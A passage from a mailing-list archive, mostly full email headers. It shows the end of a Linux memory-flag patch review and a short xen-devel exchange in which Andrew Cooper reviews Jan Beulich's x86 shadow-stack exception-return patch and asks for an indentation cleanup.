> >+			vma_flags_set(&vma_flags, VMA_NORESERVE_BIT);
> >
> > 			/*
> > 			 * Likewise, they're volatile enough that they
> > 			 * shouldn't survive forks or coredumps.
> > 			 */
> >-			vm_flags |= VM_WIPEONFORK | VM_DONTDUMP;
> >+			vma_flags_set(&vma_flags, VMA_WIPEONFORK_BIT,
> >+				      VMA_DONTDUMP_BIT);
> >+
> > 			fallthrough;
> >+		}
> > 		case MAP_PRIVATE:
> > 			/*
> > 			 * Set pgoff according to addr for anon_vma.
> [...]

Thanks, Lorenzo


From xen-devel-bounces@lists.xenproject.org Thu Jul 02 14:23:12 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Thu, 02 Jul 2026 14:23:12 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1351958.1608942 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wfIJn-0005na-Kp; Thu, 02 Jul 2026 14:23:07 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1351958.1608942; Thu, 02 Jul 2026 14:23:07 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wfIJn-0005nT-Hu; Thu, 02 Jul 2026 14:23:07 +0000
Received: by outflank-mailman (input) for mailman id 1351958;
 Thu, 02 Jul 2026 14:23:05 +0000
Received: from mx.expurgate.net ([194.145.224.10])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <andrew.cooper@citrix.com>) id 1wfIJl-0005nM-MT
 for xen-devel@lists.xenproject.org; Thu, 02 Jul 2026 14:23:05 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wfIJk-00Eyp6-H0
 for xen-devel@lists.xenproject.org; Thu, 02 Jul 2026 16:23:04 +0200
Received: from [10.42.69.8] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <andrew.cooper@citrix.com>)
 id 6a46743b-2eae-0a2a0a5409dd-0a2a4508cff2-32
 for <xen-devel@lists.xenproject.org>; Thu, 02 Jul 2026 16:23:04 +0200
Received: from [40.93.194.27]
 (helo=SN4PR0501CU005.outbound.protection.outlook.com)
 by tlsNG-c1860d.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from <andrew.cooper@citrix.com>)
 id 6a467446-edec-0a2a45080019-285dc21bdff9-3
 for <xen-devel@lists.xenproject.org>; Thu, 02 Jul 2026 16:23:04 +0200
Received: from IA1PR03MB8288.namprd03.prod.outlook.com (2603:10b6:208:59e::6)
 by DS0PR03MB7558.namprd03.prod.outlook.com (2603:10b6:8:203::5) with
 Microsoft SMTP Server (version=TLS1_2,
 cipher=TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384) id 15.21.181.8; Thu, 2 Jul 2026
 14:22:59 +0000
Received: from IA1PR03MB8288.namprd03.prod.outlook.com
 ([fe80::b5ee:28c6:e04b:5599]) by IA1PR03MB8288.namprd03.prod.outlook.com
 ([fe80::b5ee:28c6:e04b:5599%3]) with mapi id 15.21.0159.018; Thu, 2 Jul 2026
 14:22:59 +0000
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=selector1 header.d=citrix.com header.i="@citrix.com" header.h="From:Date:Subject:Message-ID:Content-Type:MIME-Version:X-MS-Exchange-SenderADCheck"
ARC-Seal: i=1; a=rsa-sha256; s=arcselector10001; d=microsoft.com; cv=none;
 b=QK3VF73qJLtEvryp6s06xag9QBgNy8PGyzUp1w3/6Hnx9rKsRnUHnInCkmdW8UxJvuqoxO2oQLf4RnKtm6AN1VtLHNNsErGPT/I9zlD4ywetx/HI0ouZNo2TTYv78cZnbcEijowypP1cI2mFrIWoEVFz6FBx+AKOroCmsdGlWbIO07cJDNVVlXbtlXx9NgJ0LtQpI2DRHK+OQwR7ClPAbCOqApU52iW0XGB3gE0hOHFWKzkeff156b+fYyvh65LPrc+OKJWEoEWw9l3wAyhQRsNEWolxCUzWwkK6UrtVqTra3j8pC7N9twnCklNHOpDHpsjkChuFycyxcI+7XKLMow==
ARC-Message-Signature: i=1; a=rsa-sha256; c=relaxed/relaxed; d=microsoft.com;
 s=arcselector10001;
 h=From:Date:Subject:Message-ID:Content-Type:MIME-Version:X-MS-Exchange-AntiSpam-MessageData-ChunkCount:X-MS-Exchange-AntiSpam-MessageData-0:X-MS-Exchange-AntiSpam-MessageData-1;
 bh=B8NEVJSLpQfT2iBI8syE2cnaLKWdctWENKasfgbWPwc=;
 b=OoE9iuUnuibJHhBlFs5ev1muMQr1x+o5jPPTzX3zY6s/jKtMXkv/3TC+kEauf4pNhvn8a5/NFFig2TtcDNuWMbF3DRP09Uj5Pfa94GG8AGrdj+zHQwOzd1E8K6nAlvkMtM6OL3E4nWQ8UeYwq9UHuhMZHCsPohcpfIXkg/jLTsQH+YV29C/KR4RjrfEeN3MShdUGMg0Sa/XdHQPGyKYA+hRotkHi1tiXTstM7U2/07ZnqMNFJkL9qJ6Djk9R7a+qBXcNF4q6G/yML5B68Nq7F52hut2gTl5S5k3lfpjNA7T39gqZp9FXBQU80ZiV1kqWH2ZOoltw9wDY9s+RbKTT3A==
ARC-Authentication-Results: i=1; mx.microsoft.com 1; spf=pass
 smtp.mailfrom=citrix.com; dmarc=pass action=none header.from=citrix.com;
 dkim=pass header.d=citrix.com; arc=none
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=citrix.com;
 s=selector1;
 h=From:Date:Subject:Message-ID:Content-Type:MIME-Version:X-MS-Exchange-SenderADCheck;
 bh=B8NEVJSLpQfT2iBI8syE2cnaLKWdctWENKasfgbWPwc=;
 b=peF3VejK4AJo+P7RRKNGOYQ9kdGO42g111jstOOdrXIq+/SBPLzOoLPUNcQLQL6T7ZLj5o5Fem+xD8hELRWSD6rLC4hErYNAnkKkuxj5Jh1ZlRVPq88Dh+IfrEejD6fvM8ldnj/FhMBX1c8SmWJhtvBN9ZFWBB5863jrDHlIf00=
Authentication-Results: dkim=none (message not signed)
 header.d=none;dmarc=none action=none header.from=citrix.com;
Message-ID: <7fb4624a-02dd-472d-b981-cb7e0c1fce54@citrix.com>
Date: Thu, 2 Jul 2026 15:22:56 +0100
User-Agent: Mozilla Thunderbird
Cc: Andrew Cooper <andrew.cooper3@citrix.com>, Wei Liu <wl@xen.org>,
 =?UTF-8?Q?Roger_Pau_Monn=C3=A9?= <roger.pau@citrix.com>
Subject: Re: [PATCH v3 3/4] x86/traps: use entry_ssp in
 fixup_exception_return()
To: Jan Beulich <jbeulich@suse.com>,
 "xen-devel@lists.xenproject.org" <xen-devel@lists.xenproject.org>
References: <7ba5ecff-af64-49c0-abf9-23963ca56aa6@suse.com>
 <8af61c08-71f9-4d18-ba9c-952b7894c44d@suse.com>
Content-Language: en-GB
From: Andrew Cooper <andrew.cooper3@citrix.com>
Autocrypt: addr=andrew.cooper3@citrix.com; keydata=
 xsFNBFLhNn8BEADVhE+Hb8i0GV6mihnnr/uiQQdPF8kUoFzCOPXkf7jQ5sLYeJa0cQi6Penp
 VtiFYznTairnVsN5J+ujSTIb+OlMSJUWV4opS7WVNnxHbFTPYZVQ3erv7NKc2iVizCRZ2Kxn
 srM1oPXWRic8BIAdYOKOloF2300SL/bIpeD+x7h3w9B/qez7nOin5NzkxgFoaUeIal12pXSR
 Q354FKFoy6Vh96gc4VRqte3jw8mPuJQpfws+Pb+swvSf/i1q1+1I4jsRQQh2m6OTADHIqg2E
 ofTYAEh7R5HfPx0EXoEDMdRjOeKn8+vvkAwhviWXTHlG3R1QkbE5M/oywnZ83udJmi+lxjJ5
 YhQ5IzomvJ16H0Bq+TLyVLO/VRksp1VR9HxCzItLNCS8PdpYYz5TC204ViycobYU65WMpzWe
 LFAGn8jSS25XIpqv0Y9k87dLbctKKA14Ifw2kq5OIVu2FuX+3i446JOa2vpCI9GcjCzi3oHV
 e00bzYiHM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koCijgB8sB7Tb0GCpwK+C4UePdFLfhKyRdSXuvY3AHJd4CP
 4JzW0Bzq/WXY3XMOzUTYApGQpnUpdOmuQSfpV9MQO+/jo7r6yPbxT7CwRS5dcQPzUiuHLK9i
 nvjREdh84qycnx0/6dDroYhp0DFv4udxuAvt1h4wGwTPRQZerSm4xaYegEFusyhbZrI0U9tJ
 B8WrhBLXDiYlyJT6zOV2yZFuW47VrLsjYnHwn27hmxTC/7tvG3euCklmkn9Sl9IAKFu29RSo
 d5bD8kMSCYsTqtTfT6W4A3qHGvIDta3ptLYpIAOD2sY3GYq2nf3Bbzx81wZK14JdDDHUX2Rs
 6+ahAA==
In-Reply-To: <8af61c08-71f9-4d18-ba9c-952b7894c44d@suse.com>
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit
X-ClientProxiedBy: LO6P123CA0019.GBRP123.PROD.OUTLOOK.COM
 (2603:10a6:600:313::13) To IA1PR03MB8288.namprd03.prod.outlook.com
 (2603:10b6:208:59e::6)
MIME-Version: 1.0
X-MS-PublicTrafficType: Email
X-MS-TrafficTypeDiagnostic: IA1PR03MB8288:EE_|DS0PR03MB7558:EE_
X-MS-Office365-Filtering-Correlation-Id: 3fd5c016-8b09-4c70-9ac0-08ded8456b20
X-MS-Exchange-SenderADCheck: 1
X-MS-Exchange-AntiSpam-Relay: 0
X-Microsoft-Antispam:
	BCL:0;ARA:13230040|23010399003|1800799024|376014|366016|22082099003|18002099003|5023799004|11063799006|4143699003|56012099006;
X-Microsoft-Antispam-Message-Info:
	kepSCAho0K3UIqRwtnYCWTh8PgnB0QLqMFCSUssf7oZ2yr2EJ7dxBssC0MlfMPsoPAGgyVgFJRFjjA7VbSAS9F0PBpkFOk7QjFenFTIbZmsxlXLlVSTq5JW66fYyKc3U+dOLf5cYac8xZuzyXnLGjXEA+6PODjigBDqHRJl8+rVvlzqiD0HbTva/OUrtSrSS4FfzBRRSj/fA/X8tCHwsRJtLfSvANItL9S5CJLk7kZoA4CFuCr+sXRYnFU2XhNG/8HhZWO4RIWd0HRpxboZ2bMTkOeDbsJ58iVZZJ8Btjb7mxSomZbxByd5jwbU5GVVrWRF00z44IMV78qrtFLqfKF6lN08sQ1bFcXVwMr/qjcWgLgiD5Jlt7bYxkOtOR5NgW0cpl9ZNSXcQ0ezgEBCjeL5ZSGAn9pBE/zbqcAU/xai/uoCIMo1h6OoEH95de3/JWMaQOUueNIG1cKaxib1SKtUA/7KvMq1HMEBmFupLzhGl89Z/BJbx8x2SKgiWy4tUwA0bfAFpRxHQv7ccUMRnBUtJL6UgdUXGdXbDxdBxajW2yzpthS7KrLxRMvwoJBmgNuOEKemSOVfO0Wa+DIdJzRYT9EPdZZ1xbpHS8c0bD34TONnFtlNpkMA+fViWfglnB6Tj0yz43lAWqNGTKvIsM08L0FswHQjBSszQomcO9ro=
X-Forefront-Antispam-Report:
	CIP:255.255.255.255;CTRY:;LANG:en;SCL:1;SRV:;IPV:NLI;SFV:NSPM;H:IA1PR03MB8288.namprd03.prod.outlook.com;PTR:;CAT:NONE;SFS:(13230040)(23010399003)(1800799024)(376014)(366016)(22082099003)(18002099003)(5023799004)(11063799006)(4143699003)(56012099006);DIR:OUT;SFP:1101;
X-MS-Exchange-AntiSpam-MessageData-ChunkCount: 1
X-MS-Exchange-AntiSpam-MessageData-0:
	=?utf-8?B?N2lQUTd0N2lUM3Z4Vzd5SDFQaDEyWXZ4cCsvZTFyaTBidnJkUFJsaS93QXcv?=
 =?utf-8?B?ZC9hTDN6VExjVmQrbENwOWpseXhBWnhCc0hkTTlWTWRSbnp5UkZqcDNjL2JG?=
 =?utf-8?B?U0JMRlF5RDUzQnk3ZHhwZEo5bEQvRjVtaUNvbmpkQ0d3eTEwd28zSnQ2UFNt?=
 =?utf-8?B?bVZ1QzducktaMWs3dEc5N3FXdkFPTUNkMXB2dEJySFpTL1IyaGJvU2c2QTQ1?=
 =?utf-8?B?cWdQalVyZDdOOHI0elBnRnRoQzNLTFkzb1RNY0FjVitCTWpjWE5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VFCNmthVWlhUS9JckdHZDRvVTlJR0lhTFI5?=
 =?utf-8?B?WE1yQkFFQklZUUJKTEJYTjFENlhka1N5QkdWRUY5cWtZK3IrVkF0b0taelEv?=
 =?utf-8?B?ZUN1Vi84R3d1QU41eWdJVkxQSWE1ZnhEVGd5M3NrRk9hSVU1TXYyNldvMzVZ?=
 =?utf-8?B?YWxVSWRGeDlvS25CZUVGMm9CUVZyREFlL2lyNTYvQ05Qdk91Y2JxVS9tMFl3?=
 =?utf-8?B?Qm8zcitjUXZpTWlRaVZwNHJUazRLYW1ESDZPWVFRdHlWbzhSbzZVM1BMekZK?=
 =?utf-8?B?TE85dm9RdmcxeGt5UnJBMHpCdU9iS1BLTjV4UENYQWUzQWNyYkF2QT09?=
X-OriginatorOrg: citrix.com
X-MS-Exchange-CrossTenant-Network-Message-Id: 3fd5c016-8b09-4c70-9ac0-08ded8456b20
X-MS-Exchange-CrossTenant-AuthSource: IA1PR03MB8288.namprd03.prod.outlook.com
X-MS-Exchange-CrossTenant-AuthAs: Internal
X-MS-Exchange-CrossTenant-OriginalArrivalTime: 02 Jul 2026 14:22:59.6184
 (UTC)
X-MS-Exchange-CrossTenant-FromEntityHeader: Hosted
X-MS-Exchange-CrossTenant-Id: 335836de-42ef-43a2-b145-348c2ee9ca5b
X-MS-Exchange-CrossTenant-MailboxType: HOSTED
X-MS-Exchange-CrossTenant-UserPrincipalName: aDntkHta52xt01JH29Q1rtCNf/rFx6qQ0vS82+WP7IxiIE86uhLeT8Wf4EbKIcz/0bkZ5/d56drkbNI0L8W+Z50kK3gqgflbF745mCVtUhk=
X-MS-Exchange-Transport-CrossTenantHeadersStamped: DS0PR03MB7558
X-purgate-ID: tlsNG-c1860d/1783002184-A2F3A3FC-22AC30E2/0/0
X-purgate-type: clean
X-purgate-size: 870

On 02/07/2026 11:55 am, Jan Beulich wrote:
> With the value recorded on entry there's no need anymore to go hunt for
> the respective exception frame on the shadow stack. By deriving "ptr"
> from that field (without any offset), it then ends up pointing one slot
> lower than before. Therefore all array indexes need incrementing, nicely
> doing away with all the negative ones.
>
> Signed-off-by: Jan Beulich <jbeulich@suse.com>

The diff isn't easy going, but the end result nicer.

Reviewed-by: Andrew Cooper <andrew.cooper3@citrix.com>

> ---
> Indentation of the prior inner (but not innermost) if()'s body is
> deliberately left untouched, to aid review. It'll be adjusted in a
> separate follow-on patch.

There are two indentations needing removing.Â  Deferring to another patch
is fine, but it would be nice to be in this series.

~Andrew


From xen-devel-bounces@lists.xenproject.org Thu Jul 02 14:28:17 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Thu, 02 Jul 2026 14:28:17 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1351974.1608951 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wfIOi-0006Sf-5g; Thu, 02 Jul 2026 14:28:12 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1351974.1608951; Thu, 02 Jul 2026 14:28:12 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wfIOi-0006SY-2o; Thu, 02 Jul 2026 14:28:12 +0000
Received: by outflank-mailman (input) for mailman id 1351974;
 Thu, 02 Jul 2026 14:28:11 +0000
Received: from mx.expurgate.net ([195.190.135.10])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <jbeulich@suse.com>) id 1wfIOh-0006SS-Ot
 for xen-devel@lists.xenproject.org; Thu, 02 Jul 2026 14:28:11 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wfIOh-00EITS-5g
 for xen-devel@lists.xenproject.org; Thu, 02 Jul 2026 16:28:11 +0200
Received: from [10.42.69.2] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <jbeulich@suse.com>)
 id 6a467564-e002-0a2a0a5209dd-0a2a4502b26e-40
 for <xen-devel@lists.xenproject.org>; Thu, 02 Jul 2026 16:28:11 +0200
Received: from [209.85.128.47] (helo=mail-wm1-f47.google.com)
 by tlsNG-720697.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from <jbeulich@suse.com>)
 id 6a46757a-5a27-0a2a45020019-d155802fc8e5-3
 for <xen-devel@lists.xenproject.org>; Thu, 02 Jul 2026 16:28:10 +0200
Received: by mail-wm1-f47.google.com with SMTP id
 5b1f17b1804b1-493c19bad03so15642205e9.2
 for <xen-devel@lists.xenproject.org>; Thu, 02 Jul 2026 07:28:10 -0700 (PDT)
Received: from [10.156.60.236] (ip-037-024-206-209.um08.pools.vodafone-ip.de.
 [37.24.206.209]) by smtp.gmail.com with ESMTPSA id
 5b1f17b1804b1-493c6354771sm57322205e9.3.2026.07.02.07.28.09
 (version=TLS1_3 cipher=TLS_AES_128_GCM_SHA256 bits=128/128);
 Thu, 02 Jul 2026 07:28:10 -0700 (PDT)
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=google header.d=suse.com header.i="@suse.com" header.h="Content-Transfer-Encoding:In-Reply-To:Autocrypt:From:Content-Language:References:Cc:To:Subject:User-Agent:MIME-Version:Date:Message-ID"
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=suse.com; s=google; t=1783002490; x=1783607290; darn=lists.xenproject.org;
        h=content-transfer-encoding:in-reply-to:autocrypt:from
         :content-language:references:cc:to:subject:user-agent:mime-version
         :date:message-id:from:to:cc:subject:date:message-id:reply-to;
        bh=GUmoHYSJrMKjXZep5Z7Hi/mcnqXBGMF8TUyKctMSQmA=;
        b=XKMvuQwun3l80g9i9Q26HP8tXTQK6R8CigJF7v3Ps8eAdx2oCy3Xmrm4C1F1Sbc0Se
         mG4m1l2yQK6RwWSAe/LPqkreIxa5i6Q7/38pau7oEJjjKuQyDaSa8rybui9V/wQqyxzB
         FOCYwjUWbyqtvEEizazmLUcFX4PZnbinCqpFnUdnmIREFuRM4IvyokMA+ySw96/zQ/b7
         NQ9ixNzbUFDflAy8Y32wTdvDprpAc6f8jiC7IFWEhTiiwOixwx0n/AYv2KYde0x+gc/z
         GaZIW8tdY4YG4+FrrACzMazzkcfhdfWrlCg+hNwuEmKNEbesnPz5E2kaXrq40R06FEX3
         jGYg==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20251104; t=1783002490; x=1783607290;
        h=content-transfer-encoding:in-reply-to:autocrypt:from
         :content-language:references:cc:to:subject:user-agent:mime-version
         :date:message-id:x-gm-gg:x-gm-message-state:from:to:cc:subject:date
         :message-id:reply-to;
        bh=GUmoHYSJrMKjXZep5Z7Hi/mcnqXBGMF8TUyKctMSQmA=;
        b=FlwjC9sAOtTlCls5vryoM+xz5AIYig+2yX4jZjNNG6YhQtM697Wpc3R6Yeo9GDmiWD
         7i/wLoO/3yjGzYEbW0emIDizzKTV5BQW2guF4t+ssWeWsFwEgE7s8OO32bD76ni6dwDK
         O6ZiJRxPZUwr4wGQC3O+j8hUwfjQUZsfp0bq6szxwEl1dl1Y/ASxX6NVNHvXfG9bwxai
         /PF8h4pLpAeiRekvOAc26t1mbhTI98sd8tLXWKKmDWJoHw1+A6wfrySm6T7F5ZA+vmNw
         VvUT6CO1O94aWZgdX2BTIMSGWB8HMjCOA19cwe3fHjZ7lymkEtJfa3lNHvCsYMly1lGx
         bu8g==
X-Forwarded-Encrypted: i=1; AFNElJ+8GFEeEDKueLZvGeEAre9Qj2BMouKKpnsHUjh4raAVEdI/7tyzGM36egBCinW0ttgwLfTBpGNXaQ8=@lists.xenproject.org
X-Gm-Message-State: AOJu0YwO7H1vKsRmdlY9hNFssCaAq4nLNXiXo7JpPN7Zi+4Y2i8ehM7n
	diDnnjmMVOihffDsCDZ2jaWSpditVBNQcYKphak/DHcE0/n7MKvREU5tTuFm1Kb/YQ==
X-Gm-Gg: AfdE7ckRkyhFUVxaVdHHhMu66hOMo82wgm/OCFvqJln0eRXlFnrByj+oUPluhrZjhBQ
	hPmUZlurmM4HQ2F1MTwqOktyIexW8HyMCjO1F+WbhniEi3mZqwhE6pGVg9jCnZL58gBoLBKbSCX
	1cG8AZlGju2qEz8lNHu8hvZssykBvkyW48hizCTpEJvqPe+sEhTedM5xmNBvHv3pfwe+2gnPYFA
	+UsIjQngUBNjhk85LiQd6WpiYCSi0uFu4ZJaPVTALdL8kvByDJfHZ5zv0t2r6/OfR0NDEUihlmh
	YPGSet8wURR7Drs6EuWkZxR2yf6lNJ0CBnKXWc2pgHO6e78/ua5IfXD5lq926+cSR77PCZvb+nY
	fBGDbG1MRujo6aUZYSdtlak3KTQmeZGBKq4iKTo2evcWyPsrsi3zbay92yDxuP27ldLQ2ULI7+X
	PkDv3MVOdZuEJ9Y6k7kSiAP38D00a5Qc+SVJzLFZ+AyKEm5F+j/Sgg9/R9i76sPkApMNdqHdFEd
	Je813idZ8Fj4GA=
X-Received: by 2002:a05:600c:c108:b0:490:c024:2ec8 with SMTP id 5b1f17b1804b1-493c2ac7384mr75886215e9.0.1783002490425;
        Thu, 02 Jul 2026 07:28:10 -0700 (PDT)
Message-ID: <6f192c41-7b70-401f-93f1-5bf546b858a2@suse.com>
Date: Thu, 2 Jul 2026 16:28:09 +0200
MIME-Version: 1.0
User-Agent: Mozilla Thunderbird
Subject: Re: [PATCH v3 3/4] x86/traps: use entry_ssp in
 fixup_exception_return()
To: Andrew Cooper <andrew.cooper3@citrix.com>
Cc: Wei Liu <wl@xen.org>, =?UTF-8?Q?Roger_Pau_Monn=C3=A9?=
 <roger.pau@citrix.com>,
 "xen-devel@lists.xenproject.org" <xen-devel@lists.xenproject.org>
References: <7ba5ecff-af64-49c0-abf9-23963ca56aa6@suse.com>
 <8af61c08-71f9-4d18-ba9c-952b7894c44d@suse.com>
 <7fb4624a-02dd-472d-b981-cb7e0c1fce54@citrix.com>
Content-Language: en-US
From: Jan Beulich <jbeulich@suse.com>
Autocrypt: addr=jbeulich@suse.com; keydata=
 xsDiBFk3nEQRBADAEaSw6zC/EJkiwGPXbWtPxl2xCdSoeepS07jW8UgcHNurfHvUzogEq5xk
 hu507c3BarVjyWCJOylMNR98Yd8VqD9UfmX0Hb8/BrA+Hl6/DB/eqGptrf4BSRwcZQM32aZK
 7Pj2XbGWIUrZrd70x1eAP9QE3P79Y2oLrsCgbZJfEwCgvz9JjGmQqQkRiTVzlZVCJYcyGGsD
 /0tbFCzD2h20ahe8rC1gbb3K3qk+LpBtvjBu1RY9drYk0NymiGbJWZgab6t1jM7sk2vuf0Py
 O9Hf9XBmK0uE9IgMaiCpc32XV9oASz6UJebwkX+zF2jG5I1BfnO9g7KlotcA/v5ClMjgo6Gl
 MDY4HxoSRu3i1cqqSDtVlt+AOVBJBACrZcnHAUSuCXBPy0jOlBhxPqRWv6ND4c9PH1xjQ3NP
 nxJuMBS8rnNg22uyfAgmBKNLpLgAGVRMZGaGoJObGf72s6TeIqKJo/LtggAS9qAUiuKVnygo
 3wjfkS9A3DRO+SpU7JqWdsveeIQyeyEJ/8PTowmSQLakF+3fote9ybzd880fSmFuIEJldWxp
 Y2ggPGpiZXVsaWNoQHN1c2UuY29tPsJgBBMRAgAgBQJZN5xEAhsDBgsJCAcDAgQVAggDBBYC
 AwECHgECF4AACgkQoDSui/t3IH4J+wCfQ5jHdEjCRHj23O/5ttg9r9OIruwAn3103WUITZee
 e7Sbg12UgcQ5lv7SzsFNBFk3nEQQCACCuTjCjFOUdi5Nm244F+78kLghRcin/awv+IrTcIWF
 hUpSs1Y91iQQ7KItirz5uwCPlwejSJDQJLIS+QtJHaXDXeV6NI0Uef1hP20+y8qydDiVkv6l
 IreXjTb7DvksRgJNvCkWtYnlS3mYvQ9NzS9PhyALWbXnH6sIJd2O9lKS1Mrfq+y0IXCP10eS
 FFGg+Av3IQeFatkJAyju0PPthyTqxSI4lZYuJVPknzgaeuJv/2NccrPvmeDg6Coe7ZIeQ8Yj
 t0ARxu2xytAkkLCel1Lz1WLmwLstV30g80nkgZf/wr+/BXJW/oIvRlonUkxv+IbBM3dX2OV8
 AmRv1ySWPTP7AAMFB/9PQK/VtlNUJvg8GXj9ootzrteGfVZVVT4XBJkfwBcpC/XcPzldjv+3
 HYudvpdNK3lLujXeA5fLOH+Z/G9WBc5pFVSMocI71I8bT8lIAzreg0WvkWg5V2WZsUMlnDL9
 mpwIGFhlbM3gfDMs7MPMu8YQRFVdUvtSpaAs8OFfGQ0ia3LGZcjA6Ik2+xcqscEJzNH+qh8V
 m5jjp28yZgaqTaRbg3M/+MTbMpicpZuqF4rnB0AQD12/3BNWDR6bmh+EkYSMcEIpQmBM51qM
 EKYTQGybRCjpnKHGOxG0rfFY1085mBDZCH5Kx0cl0HVJuQKC+dV2ZY5AqjcKwAxpE75MLFkr
 wkkEGBECAAkFAlk3nEQCGwwACgkQoDSui/t3IH7nnwCfcJWUDUFKdCsBH/E5d+0ZnMQi+G0A
 nAuWpQkjM1ASeQwSHEeAWPgskBQL
In-Reply-To: <7fb4624a-02dd-472d-b981-cb7e0c1fce54@citrix.com>
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit
X-purgate-ID: tlsNG-720697/1783002491-4F1127C5-33D5779D/0/0
X-purgate-type: clean
X-purgate-size: 1011

On 02.07.2026 16:22, Andrew Cooper wrote:
> On 02/07/2026 11:55 am, Jan Beulich wrote:
>> With the value recorded on entry there's no need anymore to go hunt for
>> the respective exception frame on the shadow stack. By deriving "ptr"
>> from that field (without any offset), it then ends up pointing one slot
>> lower than before. Therefore all array indexes need incrementing, nicely
>> doing away with all the negative ones.
>>
>> Signed-off-by: Jan Beulich <jbeulich@suse.com>
> 
> The diff isn't easy going, but the end result nicer.
> 
> Reviewed-by: Andrew Cooper <andrew.cooper3@citrix.com>

Thanks.

>> ---
>> Indentation of the prior inner (but not innermost) if()'s body is
>> deliberately left untouched, to aid review. It'll be adjusted in a
>> separate follow-on patch.
> 
> There are two indentations needing removing.Â  Deferring to another patch
> is fine, but it would be nice to be in this series.

Can do for v4. I just didn't want to do this more than once.

Jan


From xen-devel-bounces@lists.xenproject.org Thu Jul 02 14:32:37 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Thu, 02 Jul 2026 14:32:37 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1351985.1608959 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wfISy-00084I-LU; Thu, 02 Jul 2026 14:32:36 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1351985.1608959; Thu, 02 Jul 2026 14:32:36 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wfISy-00084B-It; Thu, 02 Jul 2026 14:32:36 +0000
Received: by outflank-mailman (input) for mailman id 1351985;
 Thu, 02 Jul 2026 14:32:35 +0000
Received: from mx.expurgate.net ([194.145.224.10])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <jbeulich@suse.com>) id 1wfISx-000830-73
 for xen-devel@lists.xenproject.org; Thu, 02 Jul 2026 14:32:35 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wfISw-00F19m-GO
 for xen-devel@lists.xenproject.org; Thu, 02 Jul 2026 16:32:34 +0200
Received: from [10.42.69.1] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <jbeulich@suse.com>)
 id 6a467682-5cb7-0a2a0a5109dd-0a2a4501dd04-0
 for <xen-devel@lists.xenproject.org>; Thu, 02 Jul 2026 16:32:34 +0200
Received: from [209.85.221.50] (helo=mail-wr1-f50.google.com)
 by tlsNG-d62444.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from <jbeulich@suse.com>)
 id 6a467682-400f-0a2a45010019-d155dd32ed85-3
